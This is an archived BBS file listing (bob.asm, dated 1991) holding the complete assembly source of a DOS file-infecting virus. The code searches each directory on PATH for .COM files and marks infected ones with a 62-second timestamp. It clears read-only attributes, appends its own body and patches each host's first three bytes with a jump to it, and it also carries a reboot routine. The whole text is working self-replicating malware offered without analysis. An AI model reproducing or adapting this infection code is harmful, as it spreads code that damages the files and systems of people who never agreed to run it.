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The Unsorted BBS Collection
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bob.asm
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Assembly Source File
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1991-07-02
|
11KB
|
248 lines
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
VCODE: JMP virus
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
MOV CX,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
MOV DX,dta ;Offset of new DTA in virus data area
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
ADD DX,SI
INT 21H
MOV [SI+old_att],CX ;Save the old attributes
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
MOV DX,wrk_spc ;Offset of \path\name in workspace
ADD DX,SI ;Point to \path\name
INT 21H
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
ADD DX,SI ;Point to \path\name
INT 21H
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
CMP AX,OFFSET virlen ;All bytes written?
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
vir_dat EQU $
olddta_ DW 0 ;Old DTA offset
olddts_ DW 0 ;Old DTA segment
oldtim_ DW 0 ;Old Time
oldate_ DW 0 ;Old date
oldatt_ DW 0 ;Old file attributes
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H ;Start of JMP instruction
jmpdsp_ DW 0 ;The displacement part
fspec_ DB '*.COM',0
pathad_ DW 0 ;Path address
namptr_ DW 0 ;Pointer to start of file name
envstr_ DB 'PATH=' ;Find this in the environment
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0) ;Temporary DTA goes here
dtatim_ DW 0,0 ;Time stamp in DTA
dtalen_ DW 0,0 ;File length in the DTA
dtanam_ DB 0Dh dup (0) ;File name in the DTA
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
lst_byt EQU $ ;All lines that assemble into code are
; above this one
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
CODE ENDS
END VCODE